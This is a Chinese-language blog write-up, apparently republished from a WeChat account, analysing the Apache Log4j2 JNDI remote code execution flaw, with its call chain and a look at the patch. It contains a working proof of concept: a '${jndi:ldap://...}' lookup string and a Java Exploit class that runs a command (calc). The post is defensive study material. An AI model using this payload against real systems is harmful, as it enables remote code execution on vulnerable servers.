0x00 前言

本来是快乐游戏时间的，但是突然就出来这个洞了= =，当然这个突然用的比较夸张了，修复时间应该是在几天前了。

本着学习的态度来进行一下简单的分析。

0x01 环境

首先是pom.xm文件，这个不需要多说

    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.12.0</version>
        </dependency>

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.12.0</version>
        </dependency>
    </dependencies>

然后是一个测试demo：

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import sun.applet.Main;

public class log4j {
    private static Logger LOG=LogManager.getLogger(Main.class);
    public static void main(String[] args) {
        LOG.error("${jndi:ldap://localhost:9999/Exploit}");
    }
}

payload就用cacl

public class  Exploit{
    static {
        try {
            String [] cmd={"calc"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

开远程LDAP和http，http可以选择使用python开

测试结果：

0x02 调用简析

整个分析过程有两种思路，第一种思路就是通过补丁进行逆向分析，从触发点进行调试。

还有一个思路就是通过拿到poc来进行顺序调试，调试的过程中使用poc以及非poc进行对比，就可以很清楚的看到整个调用逻辑，以及触发原因。

最重要的逻辑从strategy.log开始，这个是整个调用链的最开始位置

在log中处理数据

通过processLogEvent判定Event：

在directEncodeEvent会尝试对Event进行解码操作：

在解码操作中format就会对输入的内容进行判断：

在format中会对首尾进行判断，是否满足${开头}结尾的逻辑

在循环判定结束之后就会通过resolveVariable去调用lookup加载ldap

最后整理一下：

• log

• processLogEvent

• callAppender

• tryCallAppender

• directEncodeEvent

• getLayout().encode

• format

• resolveVariable

• lookup

0x03 修复比对

修复对比之后可以看到，修复是通过禁止协议去进行修复的。当然这里仅仅是针对LDAP来进行修复的。

0x04 PS

这里盲猜，修复之后可能RMI可以继续利用。

通过ceye测试，未修复前肯定是可以直接利用的。

原文始发于微信公众号（疯猫网络）：Apache Log4j2远程代码执行漏洞